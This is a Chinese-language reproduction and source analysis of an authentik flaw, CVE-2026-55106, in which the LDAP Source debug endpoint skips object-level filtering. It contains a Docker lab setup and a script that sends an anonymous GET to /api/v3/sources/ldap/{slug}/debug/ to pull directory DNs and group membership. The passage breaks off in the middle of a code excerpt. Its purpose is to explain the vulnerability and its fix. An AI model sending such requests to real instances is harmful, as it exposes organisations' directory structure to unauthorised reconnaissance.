CVE-2026-55106:authentik LDAP debug 接口越权读取漏洞复现与源码分析
表面上是个 debug 接口问题,顺着调用链跟下去会发现,真正失守的是 `authentik` 在 detail `GET` 上依赖的对象级授权边界。只要目标实例配置过 LDAP Source,攻击者又能访问 API 并知道或猜到某个 `slug`,就可以在未登录状态下请求
CVE-2026-55106 表面上是个 debug 接口问题,顺着调用链跟下去会发现,真正失守的是 authentik 在 detail GET 上依赖的对象级授权边界。只要目标实例配置过 LDAP Source,攻击者又能访问 API 并知道或猜到某个 slug,就可以在未登录状态下请求:
GET /api/v3/sources/ldap/{slug}/debug/请求一旦打进来,服务端就会代用该 LDAP Source 已配置的 bind 身份访问上游 LDAP,并返回一批裁剪过的目录样本。样本不直接包含属性值或 bind 密码,但会泄露真实 DN、属性名、组对象信息和成员关系字段;在常见以 uid=、cn= 命名 DN 的目录里,这些内容已经足够支持目录结构侦察、用户名样本收集和后续攻击路径判断。
根因本身并不复杂:在 authentik 这套 API 配置里,detail GET 的读取授权实际上依赖 ObjectFilter 先收敛 queryset;而 debug action 在脆弱版本里写成了 filter_backends=[],导致 self.get_object() 取对象时没有经过这条收敛链。补丁也很克制,就是把 debug 重新挂回 ObjectFilter 这条现有授权链。
1. 漏洞信息卡
字段 | 内容 |
CVE |
|
GHSA |
|
产品 |
|
组件 |
|
类型 | 越权读取 / 对象级权限过滤缺失 |
受影响版本 |
|
修复版本 |
|
Advisory 发布时间 |
|
CVSS v3.1 |
|
CVSS 向量 |
|
官方公告和 GitHub Advisory 的定性比较一致。我这边本地复现后,对这个判断也没有分歧:问题不在 LDAP 协议本身,而在一个诊断 action 没有走 API 其余 detail 读取共用的授权收敛链。因此任意客户端,包括未认证客户端,都可能读取一个已配置 LDAP Source 对应的目录信息。前提同样很明确,实例里必须已经配置了一个或多个 LDAP Source。
2. 攻击者实际能拿到什么
先把能拿到什么、拿不到什么说清楚,后面讨论风险时就不容易跑偏。
问题 | 结论 |
需要登录吗 | 不需要,脆弱版本下匿名请求可命中该接口 |
需要 LDAP 凭据吗 | 不需要,服务端会代用 Source 中已有的 bind 配置 |
会直接泄露 bind 密码吗 | 不会 |
会直接回显属性值吗 | 官方公告和本地复现都不支持这个结论 |
稳定可见的内容 |
|
泄露是否有价值 | 有,足够支持目录侦察;在常见 |
真正危险的地方,不是“debug 接口能查 LDAP”,而是“未授权调用者也能驱动它查 LDAP”。请求一旦命中,后面的 LDAP 操作就不再代表匿名攻击者,而是代表目标实例里那个被 slug 选中的 LDAP Source。
3. 背景:为什么这个 debug 接口天然接近敏感边界
如果平时不太碰 authentik 的 LDAP Source,可以先把它理解成一份“由服务端代为连接外部 LDAP 目录”的配置对象。这个对象里通常包含:
server_uribase_dn- 用户和组的附加 DN
- 用户和组的 object filter
- 组成员关系字段
- 可选的
bind_cn与bind_password
debug 接口原本的设计目的,是帮助管理员快速确认“这个 Source 现在能从上游 LDAP 看到什么”。我单独把这点拎出来讲,是因为它和普通的本地查询接口不一样:这里不是在查本地数据库,而是在让服务端代表某个外部连接对象去访问上游系统。只要对象级授权失效,它就会从一个管理调试功能,变成一个对外可达的越权读取入口。
公开路由是:
GET /api/v3/sources/ldap/{slug}/debug/这意味着它不是内部辅助函数,而是暴露在 HTTP 面上的正式接口。
4. 本地 Docker 复现
4.1 环境
本次复现实验使用了以下版本:
组件 | 版本 |
Docker |
|
Docker Compose |
|
authentik |
|
PostgreSQL |
|
OpenLDAP |
|
实验拓扑尽量保持简单:authentik server、authentik worker、PostgreSQL 和一台本地 OpenLDAP。LDAP 里预置了两个用户、一个组和一条成员关系;authentik 中创建了一个 slug=corp-ldap 的 LDAP Source。
4.2 复现所用的全部编排与配置
为了让这篇文章本身就能独立复现,下面把我这次实验直接用到的配置和脚本原文都放进正文。读者不需要再来回翻附件;按这里的内容,可以在与本文一致的单租户实验环境里完整搭出复现。唯一没有内嵌的是截图生成辅助脚本,因为它只服务于成文取图,不参与漏洞触发。
先是容器编排文件 compose.yml:
name: cve-2026-55106-lab
services:
postgresql:
image: docker.io/library/postgres:16-alpine
restart: unless-stopped
env_file:
- .env
environment:
POSTGRES_DB: ${PG_DB}
POSTGRES_USER: ${PG_USER}
POSTGRES_PASSWORD: ${PG_PASS}
healthcheck:
test:
- CMD-SHELL
- pg_isready -d $${POSTGRES_DB} -U $${POSTGRES_USER}
interval: 10s
timeout: 5s
retries: 10
start_period: 10s
volumes:
- postgresql_data:/var/lib/postgresql/data
openldap:
image: docker.io/osixia/openldap:1.5.0
restart: unless-stopped
env_file:
- .env
environment:
LDAP_ORGANISATION: CVE-2026-55106 Lab
LDAP_DOMAIN: example.org
LDAP_ADMIN_PASSWORD: ${LDAP_ADMIN_PASSWORD}
LDAP_CONFIG_PASSWORD: ${LDAP_CONFIG_PASSWORD}
LDAP_TLS: "false"
volumes:
- ./ldap:/seed:ro
- openldap_data:/var/lib/ldap
- openldap_config:/etc/ldap/slapd.d
server:
image: ghcr.io/goauthentik/server:2026.5.4
command: server
restart: unless-stopped
depends_on:
postgresql:
condition: service_healthy
env_file:
- .env
environment:
AUTHENTIK_POSTGRESQL__HOST: postgresql
AUTHENTIK_POSTGRESQL__NAME: ${PG_DB}
AUTHENTIK_POSTGRESQL__USER: ${PG_USER}
AUTHENTIK_POSTGRESQL__PASSWORD: ${PG_PASS}
AUTHENTIK_SECRET_KEY: ${AUTHENTIK_SECRET_KEY}
ports:
- ${AUTHENTIK_HTTP_PORT}:9000
volumes:
- ./data:/data
- ./custom-templates:/templates
worker:
image: ghcr.io/goauthentik/server:2026.5.4
command: worker
restart: unless-stopped
depends_on:
postgresql:
condition: service_healthy
env_file:
- .env
environment:
AUTHENTIK_POSTGRESQL__HOST: postgresql
AUTHENTIK_POSTGRESQL__NAME: ${PG_DB}
AUTHENTIK_POSTGRESQL__USER: ${PG_USER}
AUTHENTIK_POSTGRESQL__PASSWORD: ${PG_PASS}
AUTHENTIK_SECRET_KEY: ${AUTHENTIK_SECRET_KEY}
AUTHENTIK_BOOTSTRAP_PASSWORD: ${AUTHENTIK_BOOTSTRAP_PASSWORD}
AUTHENTIK_BOOTSTRAP_TOKEN: ${AUTHENTIK_BOOTSTRAP_TOKEN}
AUTHENTIK_BOOTSTRAP_EMAIL: ${AUTHENTIK_BOOTSTRAP_EMAIL}
volumes:
- ./data:/data
- ./certs:/certs
- ./custom-templates:/templates
- ./scripts:/repro-scripts:ro
volumes:
postgresql_data:
openldap_data:
openldap_config:配套的 .env 内容如下:
PG_PASS=authentik-postgres-pass
PG_USER=authentik
PG_DB=authentik
AUTHENTIK_SECRET_KEY=8z5z9tR0aR3r6p5n4m2k1j8h7g6f5d4s3a2q1w0e9r8t7y6u5i4o3p2a1s0d9f8
AUTHENTIK_BOOTSTRAP_PASSWORD=AuthentikLab!2026
AUTHENTIK_BOOTSTRAP_TOKEN=ak-lab-token-cve-2026-55106
AUTHENTIK_BOOTSTRAP_EMAIL=lab-admin@example.org
AUTHENTIK_HTTP_PORT=39000
LDAP_ADMIN_PASSWORD=ldap-admin-pass
LDAP_CONFIG_PASSWORD=ldap-config-pass
LDAP_SOURCE_SLUG=corp-ldap这组参数里最关键的是三项:AUTHENTIK_HTTP_PORT=39000 用来把实验环境固定在本机 39000/tcp,AUTHENTIK_BOOTSTRAP_* 用来完成首次初始化,LDAP_SOURCE_SLUG=corp-ldap 用来保证匿名验证时命中的就是文章里分析的那一个 Source。
4.3 LDAP 初始目录数据
LDAP 目录预置数据文件 ldap/bootstrap.ldif 原文如下:
dn: ou=users,dc=example,dc=org
objectClass: organizationalUnit
ou: users
dn: ou=groups,dc=example,dc=org
objectClass: organizationalUnit
ou: groups
dn: uid=alice,ou=users,dc=example,dc=org
objectClass: inetOrgPerson
cn: Alice Example
sn: Example
uid: alice
mail: alice@example.org
userPassword: AlicePassword!2026
dn: uid=bob,ou=users,dc=example,dc=org
objectClass: inetOrgPerson
cn: Bob Example
sn: Example
uid: bob
mail: bob@example.org
userPassword: BobPassword!2026
dn: cn=engineering,ou=groups,dc=example,dc=org
objectClass: groupOfNames
cn: engineering
member: uid=alice,ou=users,dc=example,dc=org
member: uid=bob,ou=users,dc=example,dc=org这个 LDIF 没有刻意做复杂设计,只是为了让 debug 返回里稳定出现两条用户对象、一条组对象和一条成员关系。这样一来,“接口未授权可达”和“返回真实目录元数据”这两个结论就能同时落地。
4.4 等待与种库脚本
等待 OpenLDAP 就绪的 scripts/wait_for_ldap.sh:
#!/usr/bin/env bash
set -euo pipefail
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT_DIR"
set -a
source ./.env
set +a
for _ in $(seq 1 60); do
if docker compose exec -T openldap ldapwhoami \
-x \
-H ldap://127.0.0.1:389 \
-D "cn=admin,dc=example,dc=org" \
-w "${LDAP_ADMIN_PASSWORD:-ldap-admin-pass}" >/dev/null 2>&1; then
exit 0
fi
sleep 2
done
echo "LDAP service did not become ready in time." >&2
exit 1把 LDIF 导入目录的 scripts/seed_ldap.sh:
#!/usr/bin/env bash
set -euo pipefail
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT_DIR"
set -a
source ./.env
set +a
ldap_search_output="$(docker compose exec -T openldap ldapsearch \
-LLL \
-x \
-H ldap://127.0.0.1:389 \
-D "cn=admin,dc=example,dc=org" \
-w "$LDAP_ADMIN_PASSWORD" \
-b "dc=example,dc=org" \
"(uid=alice)" \
dn)"
if grep -q "^dn: uid=alice,ou=users,dc=example,dc=org" <<<"$ldap_search_output"; then
echo "LDAP directory already seeded."
exit 0
fi
docker compose exec -T openldap ldapadd \
-x \
-H ldap://127.0.0.1:389 \
-D "cn=admin,dc=example,dc=org" \
-w "$LDAP_ADMIN_PASSWORD" \
-f /seed/bootstrap.ldif等待 authentik API 就绪的 scripts/wait_for_authentik.sh:
#!/usr/bin/env bash
set -euo pipefail
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT_DIR"
set -a
source ./.env
set +a
BASE_URL="http://127.0.0.1:${AUTHENTIK_HTTP_PORT}"
for _ in $(seq 1 90); do
if curl -fsS "${BASE_URL}/api/v3/root/config/" >/dev/null 2>&1; then
exit 0
fi
sleep 3
done
echo "authentik did not become ready in time." >&2
exit 1这三段脚本分别解决三个实际问题:目录何时可连、目录数据何时已导入、authentik API 何时能接受后续配置。少了这几个等待点,复现实验很容易因为容器启动时序而变得不稳定。
4.5 创建 LDAP Source 的脚本
漏洞能不能稳定触发,关键不在 curl,而在于前面得先造出一份会代表服务端去连 LDAP 的 Source。下面这对脚本就是在做这件事。
先看容器内执行的 Django shell 脚本 scripts/create_ldap_source.py:
import json
import os
from authentik.sources.ldap.models import LDAPSource
from authentik.tenants.models import Tenant
slug = os.environ["LDAP_SOURCE_SLUG"]
tenant = Tenant.objects.filter(ready=True).order_by("schema_name").first()
if tenant is None:
raise SystemExit("No ready tenant found.")
with tenant:
source, created = LDAPSource.objects.update_or_create(
slug=slug,
defaults={
"name": "Corp LDAP",
"enabled": True,
"server_uri": "ldap://openldap:389",
"bind_cn": "cn=admin,dc=example,dc=org",
"bind_password": os.environ["LDAP_ADMIN_PASSWORD"],
"base_dn": "dc=example,dc=org",
"additional_user_dn": "ou=users",
"additional_group_dn": "ou=groups",
"user_object_filter": "(objectClass=inetOrgPerson)",
"group_object_filter": "(objectClass=groupOfNames)",
"group_membership_field": "member",
"user_membership_attribute": "distinguishedName",
"object_uniqueness_field": "entryUUID",
"sync_users": True,
"sync_users_password": False,
"sync_groups": True,
"lookup_groups_from_user": False,
"delete_not_found_objects": False,
},
)
print(
json.dumps(
{
"tenant": tenant.schema_name,
"slug": source.slug,
"created": created,
"server_uri": source.server_uri,
"base_dn": source.base_dn,
}
)
)再看负责进入 worker 容器执行它的包装脚本 scripts/create_ldap_source.sh:
#!/usr/bin/env bash
set -euo pipefail
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT_DIR"
set -a
source ./.env
set +a
docker compose exec -T worker bash -lc \
"source /ak-root/.venv/bin/activate && python /manage.py shell < /repro-scripts/create_ldap_source.py"这里最关键的不是“创建了一个 LDAP Source”,而是“创建了一份会用 bind_cn=cn=admin,dc=example,dc=org 代表服务端访问上游目录的 LDAP Source”。同时也要注意,这段脚本默认取的是第一个 ready tenant;本文实验环境只有默认租户,因此它会稳定落到 public。如果直接搬到多租户实例,租户选择逻辑最好改成显式指定。
4.6 一键复现与清理脚本
把前面这些步骤真正串起来的是 scripts/reproduce.sh:
#!/usr/bin/env bash
set -euo pipefail
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT_DIR"
mkdir -p artifacts
set -a
source ./.env
set +a
docker compose up -d
"$ROOT_DIR/scripts/wait_for_ldap.sh"
"$ROOT_DIR/scripts/seed_ldap.sh"
"$ROOT_DIR/scripts/wait_for_authentik.sh"
"$ROOT_DIR/scripts/create_ldap_source.sh"
TARGET_URL="http://127.0.0.1:${AUTHENTIK_HTTP_PORT}/api/v3/sources/ldap/${LDAP_SOURCE_SLUG}/debug/"
status_code="$(curl -sS \
-D artifacts/anon-debug-headers.txt \
-o artifacts/anon-debug-response.json \
-w '%{http_code}' \
"$TARGET_URL")"
printf '%s\n' "$status_code" > artifacts/anon-debug-status.txt
if [[ "$status_code" != "200" ]]; then
echo "Unexpected status code: $status_code" >&2
exit 1
fi
python3 - <<'PY'
import json
from pathlib import Path
body = json.loads(Path("artifacts/anon-debug-response.json").read_text())
summary = {
"keys": sorted(body.keys()),
"users": len(body.get("users", [])),
"groups": len(body.get("groups", [])),
"membership": len(body.get("membership", [])),
}
Path("artifacts/anon-debug-summary.json").write_text(
json.dumps(summary, indent=2, ensure_ascii=False) + "\n"
)
print(json.dumps(summary, ensure_ascii=False))
PY
echo "Anonymous reproduction succeeded against ${TARGET_URL}."对应的清理脚本 scripts/cleanup.sh 很短:
#!/usr/bin/env bash
set -euo pipefail
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT_DIR"
docker compose down -v如果不想手工一条条敲,上面的 reproduce.sh 已经把完整攻击路径走了一遍:启动环境、准备目录、等待 API、创建 Source,最后再以匿名身份访问 /api/v3/sources/ldap/corp-ldap/debug/。最后一步没有携带 Cookie、Token 或 Authorization 头。
为了避免宿主机和容器内环境混在一起,下面几张图统一成了在 server 容器内执行并抓取的终端截图:
4.7 复现结果
先看最关键的一张图。下面这次匿名请求没有带任何认证信息,但仍然返回了 HTTP/1.1 200 OK:
把关键结果摘出来就是:
HTTP status: 200
summary: {"keys":["groups","membership","users"],"users":2,"groups":1,"membership":1}对应的实际终端截图如下:
原始响应里还能直接看到真实目录对象的样本。下面这张终端截图里已经能看到用户 DN、组 DN 和属性名集合:
到这里,两个结论已经足够稳了:
- 匿名访问者确实可以命中
debug。 - 返回内容不是简单的健康检查结果,而是真实 LDAP 目录对象的元数据样本。
5. 根因:debug action 脱离了对象级授权链
这一节我不铺太大,只盯三个关键角色:LDAPSourceViewSet、ObjectFilter 和 DRF 的 GenericAPIView.get_object()。真正的断点发生在 detail lookup 之前,而不是返回结果之后。
5.1 先看 LDAPSourceViewSet 在做什么
脆弱版本里,LDAPSourceViewSet 的基础定义如下:
代码片段 1:LDAPSourceViewSet 只声明“从哪张表取对象”和“用什么字段做 detail lookup”,并不在这里做对象级收敛。
class LDAPSourceViewSet(UsedByMixin, ModelViewSet):
"""LDAP Source Viewset"""
queryset = LDAPSource.objects.all()
serializer_class = LDAPSourceSerializer
lookup_field = "slug"
filterset_fields = [
"pbm_uuid",
"name",
"slug",
"enabled",
"server_uri",
"bind_cn",
"peer_certificate",
"client_certificate",
"start_tls",
"sni",
"base_dn",
"additional_user_dn",
"additional_group_dn",
"user_object_filter",
"group_object_filter",
"group_membership_field",
"user_membership_attribute",
"object_uniqueness_field",
"password_login_update_internal_password",
"sync_users",
"sync_users_password",
"sync_groups",
"sync_parent_group",
"user_property_mappings",
"group_property_mappings",
"lookup_groups_from_user",
"delete_not_found_objects",
]
search_fields = ["name", "slug"]
ordering = ["name"]这里我只强调两个点。
第一,queryset = LDAPSource.objects.all() 说明 viewset 启动时拿到的是全量 LDAPSource 对象,不带任何按用户收敛的语义。真正的权限边界不在 queryset 初始定义,而在后续 filter backend。
第二,lookup_field = "slug" 说明 detail action 取对象时,不是按主键,而是按路径中的 slug。这本身不是漏洞,但意味着只要对象过滤链失效,请求者就能直接用一个可猜测的业务标识去命中目标配置对象。
5.2 ObjectFilter 内部到底做了什么
ObjectFilter 里真正需要盯住的,不是某个简单的布尔判断,而是一条分支明确的 queryset 收敛链:
代码片段 2:ObjectFilter 的职责不是“兜底报错”,而是先把 queryset 收缩到当前请求者可见的对象集合。
class ObjectFilter(ObjectPermissionsFilter):
"""Object permission filter that grants global permission higher priority than
per-object permissions"""
def filter_queryset(self, request: Request, queryset: QuerySet, view: APIView) -> QuerySet:
permission = self.perm_format % {
"app_label": queryset.model._meta.app_label,
"model_name": queryset.model._meta.model_name,
}
# having the global permission set on a user has higher priority than
# per-object permissions
if request.user.has_perm(permission):
return queryset
# User does not have permissions, but we have an owner field defined, so filter by that
if owner_field := getattr(view, "owner_field", None):
return queryset.filter(**{owner_field: request.user})
queryset = super().filter_queryset(request, queryset, view)
# Outposts (which are the only objects using internal service accounts)
# except requests to return an empty list when they have no objects
# assigned
if getattr(request.user, "type", None) == UserTypes.INTERNAL_SERVICE_ACCOUNT:
return queryset
if not queryset.exists():
# User doesn't have direct permission to all objects
# and also no object permissions assigned (directly or via role)
raise PermissionDenied()
return queryset把这段代码拆开看,执行顺序是:
- 先构造当前模型对应的读取权限名,例如
sources_ldap.view_ldapsource这一类。 - 如果请求者有全局权限,直接返回原 queryset,不再做对象级裁剪。
- 如果 view 定义了
owner_field,则走“对象归属”路径,把 queryset 限制到当前用户拥有的对象。 - 否则调用父类
ObjectPermissionsFilter.filter_queryset(),实际落到guardian.shortcuts.get_objects_for_user(...)做对象级权限过滤。 - 对内部服务账号允许“空结果集”语义;对普通用户,如果过滤完一个对象都没有,就直接抛
PermissionDenied。
这一段非常关键,因为它说明 ObjectFilter 做的不是“取到对象以后再检查一次”,而是先把可见对象集合收紧,再让后续 detail lookup 在这个集合上工作。也就是说,权限边界压根发生在 ORM 取对象之前。
5.3 DRF 为什么会把 filter_backends 变成安全边界
接下来把 DRF 的标准流程补上,根因就完整了。这一步不属于 authentik 私有实现,而属于 DRF 的标准行为。
GenericAPIView.get_object() 的核心顺序是:
代码片段 3:DRF 把 filter_queryset(...) 放在 get_object() 前面,这也是为什么 filter_backends 会直接影响 detail action 的安全边界。
def get_object(self):
"""
Returns the object the view is displaying.
You may want to override this if you need to provide non-standard
queryset lookups. Eg if objects are referenced using multiple
keyword arguments in the url conf.
"""
queryset = self.filter_queryset(self.get_queryset())
# Perform the lookup filtering.
lookup_url_kwarg = self.lookup_url_kwarg or self.lookup_field
assert lookup_url_kwarg in self.kwargs, (
'Expected view %s to be called with a URL keyword argument '
'named "%s". Fix your URL conf, or set the `.lookup_field` '
'attribute on the view correctly.' %
(self.__class__.__name__, lookup_url_kwarg)
)
filter_kwargs = {self.lookup_field: self.kwargs[lookup_url_kwarg]}
obj = get_object_or_404(queryset, **filter_kwargs)
# May raise a permission denied
self.check_object_permissions(self.request, obj)
return obj
def filter_queryset(self, queryset):
"""
Given a queryset, filter it with whichever filter backend is in use.
"""
for backend in list(self.filter_backends):
queryset = backend().filter_queryset(self.request, queryset, self)
return queryset上面这段就是 DRF GenericAPIView.get_object() 的标准执行顺序,没有额外的框架魔法。
这个顺序意味着:
- 先拿基础 queryset。
- 先套当前 action 生效的 filter backend。
- 再按
lookup_field做 detail lookup。 - 最后才是对象级 permission hook。
所以这里真正影响安全语义的,不只是末尾有没有 check_object_permissions(),更是开头那句 filter_queryset(self.get_queryset()) 有没有按预期执行。如果 action 把 filter_backends 改空了,那么 get_object() 之前的 queryset 收敛就已经没了。
这里还要补一个 authentik 自身的前提,否则很容易误以为 self.check_object_permissions() 会在最后兜住匿名 GET。authentik 的默认 DEFAULT_PERMISSION_CLASSES 用的是 authentik.rbac.permissions.ObjectPermissions。这个权限类对带 lookup_field 的 detail 请求会直接放行 has_permission(),把读取授权主要交给 ObjectFilter 这条 queryset 收敛链;而它继承的 DRF DjangoObjectPermissions 对 GET/HEAD/OPTIONS 的对象权限映射本身是空列表。换句话说,对这个接口来说,ObjectFilter 不是“附加过滤”,而是 detail 读取授权的主检查点。debug 把 filter_backends 设为空,实际拿掉的正是这个主检查点。
5.4 debug 和 sync_status 的对照才是最有说服力的证据
同一个 viewset 内,sync_status 和 debug 的装饰器配置不同:
代码片段 4:同一个类里,安全 action 和脆弱 action 的差别只在 filter_backends,这正是这个 CVE 最有代表性的地方。
@extend_schema(responses={200: SyncStatusSerializer()})
@action(
methods=["GET"],
detail=True,
pagination_class=None,
url_path="sync/status",
filter_backends=[ObjectFilter],
)
def sync_status(self, request: Request, slug: str) -> Response:
"""Get provider's sync status"""
source: LDAPSource = self.get_object()
status = {}
with source.sync_lock as lock_acquired:
# If we could not acquire the lock, it means a task is using it, and thus is running
status["is_running"] = not lock_acquired
sync_schedule = None
for schedule in source.schedules.all():
if schedule.actor_name == ldap_sync.actor_name:
sync_schedule = schedule
if not sync_schedule:
return Response(SyncStatusSerializer(status).data)
last_task: Task = (
sync_schedule.tasks.filter(state__in=(TaskStatus.DONE, TaskStatus.REJECTED))
.order_by("-mtime")
.first()
)
last_successful_task: Task = (
sync_schedule.tasks.filter(aggregated_status__in=(TaskStatus.DONE, TaskStatus.INFO))
.order_by("-mtime")
.first()
)
if last_task:
status["last_sync_status"] = last_task.aggregated_status
if last_successful_task:
status["last_successful_sync"] = last_successful_task.mtime
return Response(SyncStatusSerializer(status).data)
@extend_schema(
responses={
200: inline_serializer(
"LDAPDebugSerializer",
fields={
"user": ListField(child=DictField(), read_only=True),
"group": ListField(child=DictField(), read_only=True),
"membership": ListField(child=DictField(), read_only=True),
},
),
}
)
@action(methods=["GET"], detail=True, pagination_class=None, filter_backends=[])
def debug(self, request: Request, slug: str) -> Response:
"""Get raw LDAP data to debug"""
source = self.get_object()
all_objects = {}
for sync_class in SYNC_CLASSES:
class_name = sync_class.name()
all_objects.setdefault(class_name, [])
for page in sync_class(source, Task()).get_objects(size_limit=10):
for obj in page:
obj: dict
obj.pop("raw_attributes", None)
obj.pop("raw_dn", None)
all_objects[class_name].append(obj)
return Response(data=all_objects)这个对照很有说服力,因为它排除了“团队根本没用对象级过滤模型”这种解释。sync_status 已经明确表明,这个 viewset 原本就是靠 ObjectFilter 保护 detail action 的;只有 debug 被单独移出了这条链。
5.5 漏洞是怎样发生的
按运行时顺序压缩之后,链条就这么几步:
- 请求进入
/api/v3/sources/ldap/{slug}/debug/。 - 路由命中
LDAPSourceViewSet.debug。 - 当前 action 的
filter_backends被读取到的是空列表。 self.get_object()不再基于“当前用户可见对象集”解析,而是直接在LDAPSource.objects.all()上按slug取对象。- 目标
source一旦取回成功,后面的 LDAP 调试逻辑就全部在这个对象的连接配置和查询配置上继续执行。
这也是为什么更准确的说法不是“少写了鉴权”,而是“对象级授权链被 action 配置绕开了”。
5.6 一张图看懂正常链路和脆弱链路
图 1:同样都是 detail action,差别不在业务函数体,而在 self.get_object() 之前的 queryset 是否先经过对象级过滤。
如果把整条链压成一句话,就是:正常路径是“先授权、后取对象”,脆弱路径变成了“先取对象、后执行敏感动作”。
6. 从 /debug/ 到 LDAP:完整执行链
真正把风险放大的,不是 source = self.get_object() 这一行本身,而是拿到 source 之后,它立刻被送进了正式的 LDAP 同步链。下面沿着调用顺序往下拆。
6.1 debug() 方法本身在逐句做什么
先把脆弱版本的 debug 原样摆出来:
代码片段 5:debug() 不是自己实现 LDAP 探测,而是直接复用正式同步器,只是把结果截成一个小样本返回。
@extend_schema(
responses={
200: inline_serializer(
"LDAPDebugSerializer",
fields={
"user": ListField(child=DictField(), read_only=True),
"group": ListField(child=DictField(), read_only=True),
"membership": ListField(child=DictField(), read_only=True),
},
),
}
)
@action(methods=["GET"], detail=True, pagination_class=None, filter_backends=[])
def debug(self, request: Request, slug: str) -> Response:
"""Get raw LDAP data to debug"""
source = self.get_object()
all_objects = {}
for sync_class in SYNC_CLASSES:
class_name = sync_class.name()
all_objects.setdefault(class_name, [])
for page in sync_class(source, Task()).get_objects(size_limit=10):
for obj in page:
obj: dict
obj.pop("raw_attributes", None)
obj.pop("raw_dn", None)
all_objects[class_name].append(obj)
return Response(data=all_objects)按执行顺序拆开看,这段代码就是五步:
source = self.get_object():先根据路径里的slug解析出一个LDAPSource对象。for sync_class in SYNC_CLASSES:不是自己手写 LDAP 查询,而是直接复用正式同步器。sync_class(source, Task()).get_objects(size_limit=10):实例化同步器时就把这个source作为完整连接配置传进去。obj.pop("raw_attributes", None)和obj.pop("raw_dn", None):只做结果裁剪,不改变前面已经发生的 LDAP 查询。return Response(data=all_objects):把三类对象样本直接回给调用者。
换句话说,debug 不是一个独立实现的小工具,而是把正式同步链当成“只取前几页样本”的调试后端来用。
6.2 SYNC_CLASSES 说明这里走的是正式同步语义
SYNC_CLASSES 用真实常量把这条执行链钉死了:
from authentik.sources.ldap.sync.base import BaseLDAPSynchronizer
from authentik.sources.ldap.sync.groups import GroupLDAPSynchronizer
from authentik.sources.ldap.sync.membership import MembershipLDAPSynchronizer
from authentik.sources.ldap.sync.users import UserLDAPSynchronizer
SYNC_CLASSES: list[type[BaseLDAPSynchronizer]] = [
UserLDAPSynchronizer,
GroupLDAPSynchronizer,
MembershipLDAPSynchronizer,
]这点很关键,因为它说明回包里的 users、groups、membership 不是随手拼出来的字段名,而是产品本身同步逻辑里的三种对象视角。攻击者看到的,其实是“这套 LDAP Source 会如何理解上游目录”的缩略图。
6.3 BaseLDAPSynchronizer 把 source 变成了真实 LDAP 连接
BaseLDAPSynchronizer 的基类构造函数很短,但语义不轻:
代码片段 6:同步器一实例化就立刻调用 source.connection(),这意味着风险在“拿到 source”之后马上兑现成真实 LDAP 连接。
class BaseLDAPSynchronizer:
"""Sync LDAP Users and groups into authentik"""
_source: LDAPSource
_task: Task
_logger: BoundLogger
_connection: Connection
mapper: SourceMapper
manager: PropertyMappingManager
def __init__(self, source: LDAPSource, task: Task):
self._source = source
self._task = task
self._connection = source.connection()
self._logger = get_logger().bind(source=source, syncer=self.__class__.__name__)
self.matcher = SourceMatcher(
self._source, UserLDAPSourceConnection, GroupLDAPSourceConnection
)
@property
def base_dn_users(self) -> str:
"""Shortcut to get full base_dn for user lookups"""
if self._source.additional_user_dn:
return f"{self._source.additional_user_dn},{self._source.base_dn}"
return self._source.base_dn
@property
def base_dn_groups(self) -> str:
"""Shortcut to get full base_dn for group lookups"""
if self._source.additional_group_dn:
return f"{self._source.additional_group_dn},{self._source.base_dn}"
return self._source.base_dn这里最关键的一行就是 self._connection = source.connection()。也就是说,只要 debug 能把一个越权得到的 LDAPSource 送进同步器,连接在构造阶段就已经建立了,后面每个同步器只是继续消费这条连接。
同一个源码块里也能直接看到两个很关键的便捷属性:base_dn_users 和 base_dn_groups 都是在运行时从 LDAPSource 配置对象上拼出来,而不是写死在同步器里。
这说明查询范围不是写死在 synchronizer 里,而是运行时从 source 对象上拼出来。谁拿到了这个 source,谁就等于拿到了“从哪个 DN 起查用户”和“从哪个 DN 起查组”的上下文。
6.4 search_paginator() 才是实际发 LDAP 查询的地方
在同步基类里,真正把 LDAP 查询发出去的是 search_paginator():
代码片段 8:这里才是真正把 search_base、search_filter 和属性列表送给 ldap3 的地方。
def search_paginator( # noqa: PLR0913
self,
search_base,
search_filter,
search_scope=SUBTREE,
dereference_aliases=DEREF_ALWAYS,
attributes=None,
size_limit=0,
time_limit=0,
types_only=False,
get_operational_attributes=False,
controls=None,
paged_size=None,
paged_criticality=False,
):
"""Search in pages, returns each page"""
cookie = True
if not paged_size:
paged_size = CONFIG.get_int("ldap.page_size", 50)
while cookie:
self._connection.search(
search_base,
search_filter,
search_scope,
dereference_aliases,
attributes,
size_limit,
time_limit,
types_only,
get_operational_attributes,
controls,
paged_size,
paged_criticality,
None if cookie is True else cookie,
)
try:
cookie = self._connection.result["controls"]["1.2.840.113556.1.4.319"]["value"][
"cookie"
]
except KeyError:
cookie = None
yield self._connection.response这段实现至少说明了两件事。
第一,debug 返回的不是本地缓存,不是 ORM 数据,也不是预生成摘要,而是实时 LDAP 查询结果。
第二,size_limit=10 限制的是每次 debug 调用拿回来的样本规模,不是权限边界。请求只要能走到这里,LDAP 查询就已经发生了。
6.5 LDAPSource.connection() 是这条链真正的能力放大点
LDAPSource.connection() 负责把配置对象转成一条真实、已绑定的 LDAP 连接:
代码片段 9:connection() 同时决定“连到哪台 LDAP”和“以谁的身份去连”,所以它是整条链里最敏感的能力放大点。
def connection(
self,
server: Server | None = None,
server_kwargs: dict | None = None,
connection_kwargs: dict | None = None,
) -> Connection:
"""Get a fully connected and bound LDAP Connection"""
server_kwargs = server_kwargs or {}
connection_kwargs = connection_kwargs or {}
if self.bind_cn is not None:
connection_kwargs.setdefault("user", self.bind_cn)
if self.bind_password is not None:
connection_kwargs.setdefault("password", self.bind_password)
conn = Connection(
server or self.server(**server_kwargs),
raise_exceptions=True,
receive_timeout=LDAP_TIMEOUT,
**connection_kwargs,
)
if self.start_tls:
LOGGER.debug("Connection StartTLS", source=self)
conn.start_tls(read_server_info=False)
try:
successful = conn.bind()
if successful:
return conn
except (
LDAPSchemaError,
LDAPInsufficientAccessRightsResult,
LDAPAdminLimitExceededResult,
LDAPAttributeError,
) as exc:
